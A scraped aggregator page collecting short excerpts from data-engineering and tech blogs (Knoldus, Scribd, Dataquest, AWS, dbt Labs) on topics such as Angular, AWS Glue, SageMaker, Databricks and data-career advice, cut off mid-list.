Key Reasons Businesses Are Embracing AI

Businesses are evolving and searching for newer ways to accomplish their goals, hence the need for artificial intelligence (AI). AI involves building smart machines to carry out tasks that typically need human intelligence, and AI simulates human intelligence using computer systems. The two major AI types used in businesses today are reactive machines and limited […]

The post Key Reasons Businesses Are Embracing AI appeared first on SmartData Collective.

1 месяц, 1 неделя назад @ smartdatacollective.com
Knoldus
последний пост 1 день, 7 часов назад
How to use JSON Objects in Cypress
How to use JSON Objects in Cypress

Reading Time: 3 minutes Hello Readers, Today we will learn about JSON objects’ significance and how to use them in Cypress. What are JSON Objects? javascript Object Notation (JSON) is a standard text-based format for representing structured data based on JavaScript object syntax that is commonly used for transmitting data in web applications. surrounded by curly braces { } and contain a key/value format that is separated by a colon( Continue Reading

The post How to use JSON Objects in Cypress appeared first on Knoldus Blogs.

1 день, 7 часов назад @ blog.knoldus.com
Modify The DOM Behaviour In Angular: Angular Directives
Modify The DOM Behaviour In Angular: Angular Directives

Reading Time: 3 minutes Angular is a client-side web app creation technology. There are multiple ways to manipulate DOM behavior in Angular, but today we are going to learn Angular, one of the most asked topics in an interview Angular Directives. Angular Directives One of the hottest topics in angular is angular directives. Angular directives are used to manipulate DOM( Document Object Model) or add new behavior. In Simple Continue Reading

The post Modify The DOM Behaviour In Angular: Angular Directives appeared first on Knoldus Blogs.

3 дня, 13 часов назад @ blog.knoldus.com
Understanding the concept of Closures in Javascript
Understanding the concept of Closures in Javascript

Reading Time: 3 minutes Introduction You must have worked with Javascript functions and closure is an essential concept of functions in javascript. So, in this blog, we will understand the concept of Closures in javascript and how it works. Firstly we will understand the concept of lexical scoping. Lexical Scoping Lexical scope is the ability of a function to access variables outside its scope i.e. from the parent scope. Continue Reading

The post Understanding the concept of Closures in Javascript appeared first on Knoldus Blogs.

3 дня, 13 часов назад @ blog.knoldus.com
How to create Custom Controls Without using ControlValueAccessor
How to create Custom Controls Without using ControlValueAccessor

Reading Time: 3 minutes Hi Readers,In this blog, we will learn about custom form control, viable with template-driven and reactive forms, as well likewise with all underlying and custom structure validators. In angular, we can make custom form controls by utilizing the ControlValueAccessor interface. And, we can likewise make a custom form control by utilizing @Input() decorator and make your structure dynamic. Advantage of Property binding at the place Continue Reading

The post How to create Custom Controls Without using ControlValueAccessor appeared first on Knoldus Blogs.

3 дня, 13 часов назад @ blog.knoldus.com
Introduction to rxjs Subject & BehaviorSubject in Angular
Introduction to rxjs Subject & BehaviorSubject in Angular

Reading Time: 3 minutes Hi Readers,In this blog, let’s learn about Rxjs Subjects and BehaviorSubject in angular. The Rxjs Subject and BehaviorSubject are unique observables that act as both observers and observables. They allow us to emit new values to the observable stream using the next method. All the subscribers, who subscribe to the subject will receive the same instance of the subject and hence the same values. We will also Continue Reading

The post Introduction to rxjs Subject & BehaviorSubject in Angular appeared first on Knoldus Blogs.

3 дня, 14 часов назад @ blog.knoldus.com
How To Automate Jira Ticket Transitioning And Comments?
How To Automate Jira Ticket Transitioning And Comments?

Reading Time: < 1 minute In this article, we will talk about how to automate Jira ticket transitioning and comments. Whether you have an existing Jira project workflow or you are creating one from scratch, you need to set up automation for basic things like transitioning the ticket, automated comments, auto-close, etc. Your project workflow might have tools that go beyond Jira and having all those connected to Jira is Continue Reading

The post How To Automate Jira Ticket Transitioning And Comments? appeared first on Knoldus Blogs.

3 дня, 14 часов назад @ blog.knoldus.com
How To Put Event Data On AWS Event Bus Using Lambda?
How To Put Event Data On AWS Event Bus Using Lambda?

Reading Time: 2 minutes In this article, we will talk about how to put event data on AWS event bus using Lambda. This article will help you adapt serverless architecture as it involves one of the standard core data flow models that involve API Gateway, Lambda, and a data processing service such as AWS EventBridge in our case. Throughout the article, we will be taking the help of AWS Continue Reading

The post How To Put Event Data On AWS Event Bus Using Lambda? appeared first on Knoldus Blogs.

3 дня, 14 часов назад @ blog.knoldus.com
How To Quality-Check Python Code Using Pylint On CI?
How To Quality-Check Python Code Using Pylint On CI?

Reading Time: 2 minutes In this article, we will talk about how to quality-check Python code using Pylint on CI. Code Quality Through CI As we know, code quality is an important aspect of any project. It is the responsibility of every developer to quality-check the code before pushing it to the repository. However, to enforce this and implement the concepts of Continuous Integration (CI), we need to have Continue Reading

The post How To Quality-Check Python Code Using Pylint On CI? appeared first on Knoldus Blogs.

3 дня, 14 часов назад @ blog.knoldus.com
SpringBoot application using MarkLogic as a Docker Container
SpringBoot application using MarkLogic as a Docker Container

Reading Time: 4 minutes In this blog, we will know how we can create a SpringBoot application that uses MarkLogic as the database tier. In this application, we will be running MarkLogic in Docker containers. SpringBoot A spring boot is an open-source Java-based framework. Spring Boot is a project that is built on top of the Spring Framework. It makes it easy to create stand-alone, production-grade applications that we Continue Reading

The post SpringBoot application using MarkLogic as a Docker Container appeared first on Knoldus Blogs.

4 дня, 20 часов назад @ blog.knoldus.com
Creating HTTP Client service for React-Redux app
Creating HTTP Client service for React-Redux app

Reading Time: 4 minutes Unlike Angular, React does not have a standard library for making HTTP requests, and also there is no standard way of organizing all the HTTP call functions. So in this blog, I will share a way of creating an HTTP client service using the good old “fetch()” API method for a Standard React-Redux web app. This is what I have used and it worked great Continue Reading

The post Creating HTTP Client service for React-Redux app appeared first on Knoldus Blogs.

6 дней, 9 часов назад @ blog.knoldus.com
Let’s know how to Convert the TensorFlow model to the TensorFlow Lite model
Let’s know how to Convert the TensorFlow model to the TensorFlow Lite model

Reading Time: 2 minutes TensorFlow Lite is TensorFlow’s lightweight solution for mobile and embedded devices. It allows you to run machine learning models on edge devices with low latency, eliminating the need for a server. After the development of the TensorFlow model, we can convert the same to a more efficient and smaller version by converting it into a Tflite model format. Let’s explore how. Conversion Workflow of TensorFlow Lite Continue Reading

The post Let’s know how to Convert the TensorFlow model to the TensorFlow Lite model appeared first on Knoldus Blogs.

1 неделя, 3 дня назад @ blog.knoldus.com
Single Sign On(SSO) with Amazon and Facebook in Angular
Single Sign On(SSO) with Amazon and Facebook in Angular

Reading Time: 4 minutes Introduction In the blog, we are going to learn about Amazon and Facebook single sign-on using angularx social login package with the help of an example. We will create a simple login button for Amazon and Facebook. When a user clicks the app permission page will appear. Here you will discover how to create a login with Facebook and Amazon in Angular using OAuth Social Continue Reading

The post Single Sign On(SSO) with Amazon and Facebook in Angular appeared first on Knoldus Blogs.

1 неделя, 4 дня назад @ blog.knoldus.com
How to Create Sprints in Jira
How to Create Sprints in Jira

Reading Time: 6 minutes In this blog post, we’ll be holding a look at precisely what sprints are and why you should apply them within your association. We also have some proficient tips on how you can produce a flourishing sprint proceeding in Jira so that you can start catching results snappily and efficiently. What is Sprint in Jira? A sprint is a fixed time period in an uninterrupted Continue Reading

The post How to Create Sprints in Jira appeared first on Knoldus Blogs.

2 недели, 6 дней назад @ blog.knoldus.com
How To Run Postman Test With Newman In Gitlab Ci
How To Run Postman Test With Newman In Gitlab Ci

Reading Time: 4 minutes Hi folks, In this brief blog post, we’ll learn more about Gitlab CI and Postman, the API testing tool we use the most frequently. This article’s goal is to provide a quick process for automatically testing the service API response. The solution makes use of the capabilities provided by the Gitlab-integrated Continuous Integration tool. Introduction to Gitlab CICD GitLab CI/CD is a continuous integration (CI) and Continue Reading

The post How To Run Postman Test With Newman In Gitlab Ci appeared first on Knoldus Blogs.

3 недели, 5 дней назад @ blog.knoldus.com
Events Sourcing and Axon Server
Events Sourcing and Axon Server

Reading Time: 3 minutes Axon Server It’s a component that allows for different/multiple instances that are implemented in the axon framework. Axon server has the capability to communicate that your application is running in scaling mode. There is no matter application running in the micro-services environment, it’s transparently working. Run Axon Server We can use the official docker image to startup an Axon server instance: Another option we can startup a Continue Reading

The post Events Sourcing and Axon Server appeared first on Knoldus Blogs.

3 недели, 6 дней назад @ blog.knoldus.com
We Cloud Data We Cloud Data
последний пост None
Learn Data Engineering Learn Data Engineering
последний пост None
SCRIBD
последний пост 2 месяца, 1 неделя назад
Data and AI Summit Wrap-up
Data and AI Summit Wrap-up Data and AI Summit Wrap-up

We brought a whole team to San Francisco to present and attend this year’s Data and

AI Summit, and it was a blast! I

would consider the event a success both in the attendance to the Scribd hosted

talks and the number of talks which discussed patterns we have adopted in our

own data and ML platform.

The three talks I wrote about

previously were well received and have

since been posted to YouTube along with hundreds of other talks. Christian Williams shared some of the

work he has done developing

kafka-delta-ingest in his talk: QP Hou, Scribd Emeritus, presented on

his foundational work to ensure correctness within delta-rs during his session: R Tyler Croy co-presented with Gavin

Edgley from …

2 месяца, 1 неделя назад @ tech.scribd.com
Databricks Serverless
Databricks Serverless

layout: post

title: “Accelerating Looker with Databricks SQL Serverless”

tags: looker

databricks

featured

team: Core Platform

author: hamiltonh

—- We recently migrated Looker to a Databricks SQL Serverless, improving our

infrastructure cost and reducing the footprint of infrastructure we need to

worry about! “Databricks SQL” which provides a single load balanced Endpoint

for executing Spark SQL queries across multiple Spark clusters behind the

scenes. “Serverless” is an evolution of that concept, rather than running a SQL

Endpoint in our AWS infrastructure, the entirety of execution happens on the

Databricks side. With a much simpler and faster interface, queries executed in

Looker now retu…

3 месяца назад @ tech.scribd.com
Scribd is presenting at Data and AI Summit 2022
Scribd is presenting at Data and AI Summit 2022

We are very excited to be presenting and attending this year’s Data and AI

Summit which will be

hosted virtually and physically in San Francisco from June 27th-30th.

Throughout the course of 2021 we completed a number of really interesting

projects built around delta-rs and the

Databricks platform which we are thrilled to share with a broader audience.

In addition to the presentations listed below, a number of Scribd engineers who

are responsible for data and ML platform, machine learning systems, and more,

will be in attendance if you want to meet up and learn more about how Scribd

uses data and ML to change the way the world reads! Christian Williams will be sharing some of the

work he ha…

5 месяцев назад @ tech.scribd.com
Data Quest
последний пост 5 дней, 17 часов назад
Top 20 Job Interview Questions and Answers for Business Analysts (2022)
Top 20 Job Interview Questions and Answers for Business Analysts (2022)

In this article, we’re sharing the 25 most common business analyst interview questions and answers that you could encounter during a job interview. Being ready for these questions can not only help you prepare for and feel more comfortable in an interview for a business analyst role, it can also identify the gaps you may […]

5 дней, 17 часов назад @ dataquest.io
Data Analytics Certifications: Do You Really Need One in 2022?
Data Analytics Certifications: Do You Really Need One in 2022?

Do I need a data analytics certificate? If you’re set on becoming a data analyst, you’ve no doubt asked yourself this question more than once. And you’re not alone. Even so, getting a straight answer about required certifications for data analysts is tricky. Why? Because there are dozens of companies offering data analytics certificates online. […]

2 недели, 5 дней назад @ dataquest.io
Learn Data Journalism: Avoid My 3 Colossal Mistakes
Learn Data Journalism: Avoid My 3 Colossal Mistakes

Becoming a data journalist and learning to code isn't as difficult as you might think, but you have to approach it in the right way to avoid common mistakes.

3 недели, 4 дня назад @ dataquest.io
Are SQL Certifications Worth It? (We Asked 15 Hiring Managers)
Are SQL Certifications Worth It? (We Asked 15 Hiring Managers)

Want to work in data? Then you might be wondering: Do I need a SQL certification to qualify for a data job? The answer to this question can be confusing. To start, various SQL certification programs will make it seem like having a certificate is paramount to getting a data job. Also, some “experts” will […]

3 недели, 6 дней назад @ dataquest.io
How to Find an Entry-Level Job in Data Science
How to Find an Entry-Level Job in Data Science

You don’t have to be a data science veteran to find success in the field. Just ask NASA Datanaut Alyssa Columbus. Although she graduated from college earlier this year, Alyssa already has a full-time data scientist role at Pacific Life. She also boasts a laundry list of speaking engagements and has founded a local group […]

3 недели, 6 дней назад @ dataquest.io
Is a Power BI Certification Worth It (in 2022)?
Is a Power BI Certification Worth It (in 2022)?

Microsoft Power BI is the application of choice when it comes to business analysis. So, do you need a certification to work in this field? Microsoft Power BI is one of the top business intelligence and data analytics platforms in the world. If you’re an aspiring business analyst, you will almost certainly cross paths with […]

1 месяц назад @ dataquest.io
Why Learn SQL in 2022 (Analyzing Real Job Data)
Why Learn SQL in 2022 (Analyzing Real Job Data)

Learning SQL might not be as "sexy" as learning Python or R, but it's a fundamental skill for almost every data scientist and data analyst job. Here's why.

1 месяц, 2 недели назад @ dataquest.io
How to Become a Data Scientist (Step-by-Step) in 2022
How to Become a Data Scientist (Step-by-Step) in 2022

Data scientists are in extreme demand, and for good reason — data scientists are doing everything from creating self-driving cars to automatically captioning images. If you want to know how to become a data scientist, then you’re in the right place. I’ve been where you are, and now I want to help. A decade ago, […]

1 месяц, 2 недели назад @ dataquest.io
10 Great Portfolio Projects for Business Analysis (2022)
10 Great Portfolio Projects for Business Analysis (2022)

You need a portfolio of relevant projects if you want to get a job as a business analyst. Why? There are at least two valid reasons: Creating business analyst projects is an excellent way to practice your skills. Doing different exercises is good, but building an end-to-end project lets you apply various skills to solve […]

1 месяц, 2 недели назад @ dataquest.io
The Business Analyst Job Description (2022 Version)
The Business Analyst Job Description (2022 Version)

Without great insights, a business cannot succeed. Period. That’s where business analysis comes in. Business analysts help organizations determine which strategies do and don’t work. The BA is responsible for assessing business needs and making recommendations to improve operations. Although the purpose of this job is quite clear, it can be tricky to pin down […]

2 месяца назад @ dataquest.io
Python Certification: Is It Worth It in 2022?
Python Certification: Is It Worth It in 2022?

What’s the best Python certificate to get? Python certifications can cost up to thousands of dollars. Are they worth your time?

2 месяца, 2 недели назад @ dataquest.io
Python vs. Anaconda Programming — What’s the Difference?
Python vs. Anaconda Programming — What’s the Difference?

Python is a programming language — Anaconda is a bundle of Python, other languages, and data science tools. Here’s what you need to know about the two. Python is a multi-purpose programming language that is used universally, from machine learning to website building. It uses pip (a reverse acronym for "Pip Installs Packages" or "Pip […]

2 месяца, 3 недели назад @ dataquest.io
11 High-Paying Data Analytics Jobs (July 2022)
11 High-Paying Data Analytics Jobs (July 2022)

Thinking about kickstarting a career in data analytics? These 10 high-paying jobs may just be the motivation you need to learn more about the data science industry and gain the specific skills you need to succeed.

2 месяца, 4 недели назад @ dataquest.io
8 Vital Data Analyst Skills Employers Need to See
8 Vital Data Analyst Skills Employers Need to See

What are 5 real-world tasks that cover most of the skills someone needs to be hired as a data analyst?

3 месяца назад @ dataquest.io
The Business Analyst Job Outlook in 2022
The Business Analyst Job Outlook in 2022

Business analysts are increasingly in demand as organizations turn to data to make key decisions. These job growth predictions prove it. The future isn’t set in stone, but job outlook analysts try to predict it anyway. To that end, various sources report good, if not tremendous, growth in business analysis. That also includes adjacent positions […]

3 месяца, 1 неделя назад @ dataquest.io
Infrastructure
AWS
последний пост 10 часов назад
Automate ETL jobs between Amazon RDS for SQL Server and Azure Managed SQL using AWS Glue Studio
Automate ETL jobs between Amazon RDS for SQL Server and Azure Managed SQL using AWS Glue Studio

Nowadays many customers are following a multi-cloud strategy. They might choose to use various cloud-managed services, such as Amazon Relational Database Service (Amazon RDS) for SQL Server and Azure SQL Managed Instances, to perform data analytics tasks, but still use traditional extract, transform, and load (ETL) tools to integrate and process the data. However, traditional ETL tools may […]

10 часов назад @ aws.amazon.com
Introducing self-service quota management and higher default service quotas for Amazon Textract
Introducing self-service quota management and higher default service quotas for Amazon Textract

Today, we’re excited to announce self-service quota management support for Amazon Textract via the AWS Service Quotas console, and higher default service quotas in select AWS Regions. Customers tell us they need quick turnaround times to process their requests for quota increases and visibility into their service quotas so they may continue to scale their […]

10 часов назад @ aws.amazon.com
Build a CQRS event store with Amazon DynamoDB
Build a CQRS event store with Amazon DynamoDB

The command query responsibility segregation (CQRS) pattern, derived from the principle of command-query separation, has been popularized by the domain-driven design community. CQRS architectures that use event sourcing save generated events in an append-only log called an event store. By using event sourcing, you can, among other benefits: Design applications to update a database and […]

10 часов назад @ aws.amazon.com
Access Bitcoin and Ethereum open datasets for cross-chain analytics
Access Bitcoin and Ethereum open datasets for cross-chain analytics

In this post, we share an open-source solution for running cross-chain analytics on public blockchain data along with public datasets for Bitcoin and Ethereum available through AWS Open Data. These datasets are still experimental and are not recommended for production workloads. You can find the open-source project on GitHub here and the public blockchain datasets […]

3 дня, 9 часов назад @ aws.amazon.com
Run a data processing job on Amazon EMR Serverless with AWS Step Functions
Run a data processing job on Amazon EMR Serverless with AWS Step Functions

There are several infrastructure as code (IaC) frameworks available today, to help you define your infrastructure, such as the AWS Cloud Development Kit (AWS CDK) or Terraform by HashiCorp. Terraform, an AWS Partner Network (APN) Advanced Technology Partner and member of the AWS DevOps Competency, is an IaC tool similar to AWS CloudFormation that allows […]

3 дня, 10 часов назад @ aws.amazon.com
Large-scale revenue forecasting at Bosch with Amazon Forecast and Amazon SageMaker custom models
Large-scale revenue forecasting at Bosch with Amazon Forecast and Amazon SageMaker custom models

This post is co-written by Goktug Cinar, Michael Binder, and Adrian Horvath from Bosch Center for Artificial Intelligence (BCAI). Revenue forecasting is a challenging yet crucial task for strategic business decisions and fiscal planning in most organizations. Often, revenue forecasting is manually performed by financial analysts and is both time consuming and subjective. Such manual […]

3 дня, 11 часов назад @ aws.amazon.com
Migrate from Oracle RAC to AWS: Alternatives on AWS
Migrate from Oracle RAC to AWS: Alternatives on AWS

Oracle Real Application Clusters (RAC) are a way of accessing a database from multiple database servers. This provides some added high availability (HA) features over a single-instance database. In this post, we talk about why you might choose Oracle RAC for your Oracle databases, and the different ways to implement similar architecture on AWS while […]

3 дня, 11 часов назад @ aws.amazon.com
Upgrade Amazon EMR Hive Metastore from 5.X to 6.X
Upgrade Amazon EMR Hive Metastore from 5.X to 6.X

If you are currently running Amazon EMR 5.X clusters, consider moving to Amazon EMR 6.X as it includes new features that helps you improve performance and optimize on cost. For instance, Apache Hive is two times faster with LLAP on Amazon EMR 6.X, and Spark 3 reduces costs by 40%. Additionally, Amazon EMR 6.x releases […]

3 дня, 13 часов назад @ aws.amazon.com
Securely assess database schema migrations using AWS SCT, Amazon RDS for Oracle, and AWS Secrets Manager
Securely assess database schema migrations using AWS SCT, Amazon RDS for Oracle, and AWS Secrets Manager

Database migration is a multi-step process comprised of assess, mobilize, and modernize phases with different tools and technologies involved. You can use tools such as AWS Schema Conversion Tool (AWS SCT) and AWS Database Migration Service (AWS DMS) to accelerate each of these phases. An important part of AWS SCT is the report that it […]

3 дня, 14 часов назад @ aws.amazon.com
Detect population variance of endangered species using Amazon Rekognition
Detect population variance of endangered species using Amazon Rekognition

Our planet faces a global extinction crisis. UN Report shows a staggering number of more than a million species feared to be on the path of extinction. The most common reasons for extinction include loss of habitat, poaching, and invasive species. Several wildlife conservation foundations, research scientists, volunteers, and anti-poaching rangers have been working tirelessly […]

4 дня, 7 часов назад @ aws.amazon.com
How Amazon Search reduced ML inference costs by 85% with AWS Inferentia
How Amazon Search reduced ML inference costs by 85% with AWS Inferentia

Amazon’s product search engine indexes billions of products, serves hundreds of millions of customers worldwide, and is one of the most heavily used services in the world. The Amazon Search team develops machine learning (ML) technology that powers the Amazon.com search engine and helps customers search effortlessly. To deliver a great customer experience and operate […]

4 дня, 10 часов назад @ aws.amazon.com
Enable self-service visual data integration and analysis for fund performance using AWS Glue Studio and Amazon QuickSight
Enable self-service visual data integration and analysis for fund performance using AWS Glue Studio and Amazon QuickSight

IMM (Institutional Money Market) is a mutual fund that invests in highly liquid instruments, cash, and cash equivalents. IMM funds are large financial intermediaries that are crucial to financial stability in the US. Due to its criticality, IMM funds are highly regulated under the security laws, notably Rule 2a-7, Which states that during market stress, […]

4 дня, 11 часов назад @ aws.amazon.com
Build NFT metadata access control with Ethereum signatures and AWS Lambda authorizers
Build NFT metadata access control with Ethereum signatures and AWS Lambda authorizers

Non-fungible tokens (NFTs) have captured global attention as a mechanism for creating one-of-a-kind digital assets that can be instantly verified as authentic, easily exchanged between users, and made infinitely programmable such that NFTs can be used for a variety of use cases and industries. At its core, NFTs are a form of digital asset or […]

4 дня, 14 часов назад @ aws.amazon.com
Amazon Comprehend Targeted Sentiment adds synchronous support
Amazon Comprehend Targeted Sentiment adds synchronous support

Earlier this year, Amazon Comprehend, a natural language processing (NLP) service that uses machine learning (ML) to discover insights from text, launched the Targeted Sentiment feature. With Targeted Sentiment, you can identify groups of mentions (co-reference groups) corresponding to a single real-world entity or attribute, provide the sentiment associated with each entity mention, and offer […]

5 дней, 6 часов назад @ aws.amazon.com
Run machine learning enablement events at scale using AWS DeepRacer multi-user account mode
Run machine learning enablement events at scale using AWS DeepRacer multi-user account mode

This post was co-written by Marius Cealera, Senior Partner Solutions Architect at AWS, Zdenko Estok, Cloud Architect at Accenture and Sakar Selimcan, Cloud Architect at Accenture. Machine learning (ML) is a high-stakes business priority, with companies spending $306 billion on ML applications in the past 3 years. According to Accenture, companies that scale ML across […]

5 дней, 12 часов назад @ aws.amazon.com
AWS
последний пост 10 часов назад
Enable intelligent decision-making with Amazon SageMaker Canvas and Amazon QuickSight
Enable intelligent decision-making with Amazon SageMaker Canvas and Amazon QuickSight

Every company, regardless of its size, wants to deliver the best products and services to its customers. To achieve this, companies want to understand industry trends and customer behavior, and optimize internal processes and data analyses on a routine basis. This is a crucial component of a company’s success. A very prominent part of the […]

5 дней, 12 часов назад @ aws.amazon.com
Talk to your data: Query your data lake with Amazon QuickSight Q
Talk to your data: Query your data lake with Amazon QuickSight Q

Amazon QuickSight Q uses machine learning (ML) and natural language technology to empower you to ask business questions about your data and get answers instantly. You can simply enter your questions (for example, “What is the year-over-year sales trend?”) and get the answer in seconds in the form of a QuickSight visual. Some business questions […]

5 дней, 12 часов назад @ aws.amazon.com
Design considerations for Amazon EMR on EKS in a multi-tenant Amazon EKS environment
Design considerations for Amazon EMR on EKS in a multi-tenant Amazon EKS environment

Many AWS customers use Amazon Elastic Kubernetes Service (Amazon EKS) in order to take advantage of Kubernetes without the burden of managing the Kubernetes control plane. With Kubernetes, you can centrally manage your workloads and offer administrators a multi-tenant environment where they can create, update, scale, and secure workloads using a single API. Kubernetes also […]

5 дней, 12 часов назад @ aws.amazon.com
Amazon SageMaker Autopilot is up to eight times faster with new ensemble training mode powered by AutoGluon
Amazon SageMaker Autopilot is up to eight times faster with new ensemble training mode powered by AutoGluon

Amazon SageMaker Autopilot has added a new training mode that supports model ensembling powered by AutoGluon. Ensemble training mode in Autopilot trains several base models and combines their predictions using model stacking. For datasets less than 100 MB, ensemble training mode builds machine learning (ML) models with high accuracy quickly—up to eight times faster than […]

5 дней, 13 часов назад @ aws.amazon.com
Configure a custom Amazon S3 query output location and data retention policy for Amazon Athena data sources in Amazon SageMaker Data Wrangler
Configure a custom Amazon S3 query output location and data retention policy for Amazon Athena data sources in Amazon SageMaker Data Wrangler

Amazon SageMaker Data Wrangler reduces the time that it takes to aggregate and prepare data for machine learning (ML) from weeks to minutes in Amazon SageMaker Studio, the first fully integrated development environment (IDE) for ML. With Data Wrangler, you can simplify the process of data preparation and feature engineering, and complete each step of […]

6 дней, 5 часов назад @ aws.amazon.com
Set up scheduled backups for Amazon DynamoDB using AWS Backup – Part 2
Set up scheduled backups for Amazon DynamoDB using AWS Backup – Part 2

Amazon DynamoDB offers two types of backups: point-in-time recovery (PITR) and on-demand backups. PITR is used to recover your table to any point in time in a rolling 35 day window, which is used to help customers mitigate accidental deletes or writes to their tables from bad code, malicious access, or user error. On demand […]

6 дней, 9 часов назад @ aws.amazon.com
How Informatica® Cloud Data Governance and Catalog uses Amazon Neptune for knowledge graphs
How Informatica® Cloud Data Governance and Catalog uses Amazon Neptune for knowledge graphs

This post was co-written with Tiju Titus John and Deepak Ram from Informatica. In this post, we discuss the significance of data governance and cataloging, and how Informatica®’s latest product can help enterprises address challenges in this area of high complexity. We also discuss how Informatica® uses a graph database solution based on Amazon Neptune […]

6 дней, 9 часов назад @ aws.amazon.com
Use RStudio on Amazon SageMaker to create regulatory submissions for the life sciences industry
Use RStudio on Amazon SageMaker to create regulatory submissions for the life sciences industry

Pharmaceutical companies seeking approval from regulatory agencies such as the US Food & Drug Administration (FDA) or Japanese Pharmaceuticals and Medical Devices Agency (PMDA) to sell their drugs on the market must submit evidence to prove that their drug is safe and effective for its intended use. A team of physicians, statisticians, chemists, pharmacologists, and […]

6 дней, 10 часов назад @ aws.amazon.com
Churn prediction using Amazon SageMaker built-in tabular algorithms LightGBM, CatBoost, TabTransformer, and AutoGluon-Tabular
Churn prediction using Amazon SageMaker built-in tabular algorithms LightGBM, CatBoost, TabTransformer, and AutoGluon-Tabular

Amazon SageMaker provides a suite of built-in algorithms, pre-trained models, and pre-built solution templates to help data scientists and machine learning (ML) practitioners get started on training and deploying ML models quickly. These algorithms and models can be used for both supervised and unsupervised learning. They can process various types of input data, including tabular, […]

6 дней, 10 часов назад @ aws.amazon.com
Detect and process sensitive data using AWS Glue Studio
Detect and process sensitive data using AWS Glue Studio

Data lakes offer the possibility of sharing diverse types of data with different teams and roles to cover numerous use cases. This is very important in order to implement a data democratization strategy and incentivize the collaboration between lines of business. When a data lake is being designed, one of the most important aspects to […]

6 дней, 10 часов назад @ aws.amazon.com
Scale modern serverless applications with Amazon RDS Proxy for SQL Server
Scale modern serverless applications with Amazon RDS Proxy for SQL Server

Many applications, including those built on modern serverless architectures, can have a large number of open connections to the database server and may open and close database connections at a high rate, exhausting database memory and compute resources. Databases can also suffer from transient failures, impacting application availability. Finally, applications need to maintain database credentials to […]

1 неделя назад @ aws.amazon.com
Parallel data processing with RStudio on Amazon SageMaker
Parallel data processing with RStudio on Amazon SageMaker

Last year, we announced the general availability of RStudio on Amazon SageMaker, the industry’s first fully managed RStudio Workbench integrated development environment (IDE) in the cloud. You can quickly launch the familiar RStudio IDE, and dial up and down the underlying compute resources without interrupting your work, making it easy to build machine learning (ML) […]

1 неделя назад @ aws.amazon.com
Implementing long running deployments with AWS CloudFormation Custom Resources using AWS Step Functions
Implementing long running deployments with AWS CloudFormation Custom Resources using AWS Step Functions

AWS CloudFormation custom resource provides mechanisms to provision AWS resources that don’t have built-in support from CloudFormation. It lets us write custom provisioning logic for resources that aren’t supported as resource types under CloudFormation. This post focusses on the use cases where CloudFormation custom resource is used to implement a long running task/job. With custom […]

1 неделя, 3 дня назад @ aws.amazon.com
Discover insights from Zendesk with Amazon Kendra intelligent search
Discover insights from Zendesk with Amazon Kendra intelligent search

Customer relationship management (CRM) is a critical tool that organizations maintain to manage customer interactions and build business relationships. Zendesk is a CRM tool that makes it easy for customers and businesses to keep in sync. Zendesk captures a wealth of customer data, such as support tickets created and updated by customers and service agents, […]

1 неделя, 3 дня назад @ aws.amazon.com
Amazon SageMaker Automatic Model Tuning now provides up to three times faster hyperparameter tuning with Hyperband
Amazon SageMaker Automatic Model Tuning now provides up to three times faster hyperparameter tuning with Hyperband

Amazon SageMaker Automatic Model Tuning introduces Hyperband, a multi-fidelity technique to tune hyperparameters as a faster and more efficient way to find an optimal model. In this post, we show how automatic model tuning with Hyperband can provide faster hyperparameter tuning—up to three times as fast. The benefits of Hyperband Hyperband presents two advantages over […]

1 неделя, 3 дня назад @ aws.amazon.com
DBT — Data Build Tool DBT — Data Build Tool
последний пост 5 месяцев, 1 неделя назад
A Good Problem to Have…
A Good Problem to Have… A Good Problem to Have…

We're sharing how we rearchitected the dbt Cloud scheduler to keep up with customer demand. Including how we tackle distributed system problems.

5 месяцев, 1 неделя назад @ blog.getdbt.com
dbt Labs and Databricks: An expanding partnership
dbt Labs and Databricks: An expanding partnership dbt Labs and Databricks: An expanding partnership

Experiencing dbt’s workflow on the lakehouse has never been easier.

5 месяцев, 2 недели назад @ blog.getdbt.com
The next layer of the modern data stack
The next layer of the modern data stack The next layer of the modern data stack

dbt Labs raised another round of funding– $222m at $4.2b valuation. Existing investor Altimeter led the round, with participation from Databricks, GV, Salesforce Ventures, and Snowflake. The raise will fuel our investment in building the next layer in the modern data stack.

7 месяцев назад @ blog.getdbt.com
February 2022: Update on recent dbt Cloud incidents
February 2022: Update on recent dbt Cloud incidents

Ongoing incidents with dbt Cloud have created slowness and lack of availability. Here is a recap of what happened and our plans to fix this.

7 месяцев назад @ blog.getdbt.com
The future of product at dbt Labs
The future of product at dbt Labs The future of product at dbt Labs

As of January 1, 2022 I officially stepped down from my role as Chief Product Officer at dbt Labs. We've brought on Margaret Francis as our new CPO. I'm incredibly excited to be transitioning into an individual contributor role.

7 месяцев, 3 недели назад @ blog.getdbt.com
Coalesce Replay Tracks: Sessions for the Team Preparing to Scale
Coalesce Replay Tracks: Sessions for the Team Preparing to Scale Coalesce Replay Tracks: Sessions for the Team Preparing to Scale

Four modules designed to help the established analytics engineer plan for rapid growth.

9 месяцев, 1 неделя назад @ blog.getdbt.com
Coalesce Replay Tracks: Sessions for the Emerging Analytics Engineer
Coalesce Replay Tracks: Sessions for the Emerging Analytics Engineer Coalesce Replay Tracks: Sessions for the Emerging Analytics Engineer

Four modules of curated Coalesce content for teams just beginning their analytics engineering journey.

9 месяцев, 1 неделя назад @ blog.getdbt.com
dbt Labs achieves ISO 27001:2013 and ISO 27701:2019 certifications
dbt Labs achieves ISO 27001:2013 and ISO 27701:2019 certifications dbt Labs achieves ISO 27001:2013 and ISO 27701:2019 certifications

Covering both dbt Labs and dbt Cloud, these certifications represent a long-standing commitment to information security and privacy.

9 месяцев, 2 недели назад @ blog.getdbt.com
Licensing dbt: Apache 2.0, BSL, and Proprietary
Licensing dbt: Apache 2.0, BSL, and Proprietary Licensing dbt: Apache 2.0, BSL, and Proprietary

The metrics layer generated a lot of buzz at Coalesce, prompting some exciting and important conversations. In short: the dbt Server that will make metrics accessible will be source available. This will provide users control, while enabling us to build a sustainable business.

9 месяцев, 2 недели назад @ blog.getdbt.com
The dbt Enterprise product roadmap: A look back at what launched this year, and what’s on the way in 2022
The dbt Enterprise product roadmap: A look back at what launched this year, and what’s on the way in 2022 The dbt Enterprise product roadmap: A look back at what launched this year, and what’s on the way in 2022

Last year we placed a big bet on foundational work — stability, reliability, and speed. 12 months, and a 600% increase in enterprise business later, we're focused on establishing dbt as the default standard for all enterprise data teams.

9 месяцев, 3 недели назад @ blog.getdbt.com
dbt Core v1.0 is here: 150+ contributors, 5,000+ commits, 100x faster parsing speed
dbt Core v1.0 is here: 150+ contributors, 5,000+ commits, 100x faster parsing speed dbt Core v1.0 is here: 150+ contributors, 5,000+ commits, 100x faster parsing speed

